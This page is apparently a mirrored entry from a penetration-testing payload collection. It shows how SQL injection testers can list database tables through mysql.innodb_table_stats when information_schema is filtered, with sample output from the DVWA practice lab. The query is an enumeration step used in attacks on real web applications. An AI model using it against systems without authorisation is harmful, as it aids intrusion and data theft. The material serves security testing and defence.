SQL Injection · passage 109 of 186

MySQL Injection: Alternative to Information Schema

1 code block · SQL Injection/MySQL Injection.md

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

`information_schema.tables` alternative

SELECT * FROM mysql.innodb_table_stats;
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
| database_name  | table_name            | last_update         | n_rows | clustered_index_size | sum_of_other_index_sizes |
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
| dvwa           | guestbook             | 2017-01-19 21:02:57 |      0 |                    1 |                        0 |
| dvwa           | users                 | 2017-01-19 21:03:07 |      5 |                    1 |                        0 |
...
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+

mysql> SHOW TABLES IN dvwa;
+----------------+
| Tables_in_dvwa |
+----------------+
| guestbook      |
| users          |
+----------------+

Every one of the 186 is a mark on the map. Named now: 105 to 130, reading order first.

Zoom in on the map and the dots under the middle of it are named where they are.

Data as of 2026-11-14. CVE List through 2026-11-14 · EPSS of 2026-11-14 · CISA KEV checked 2026-11-14. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only. Use this via MCP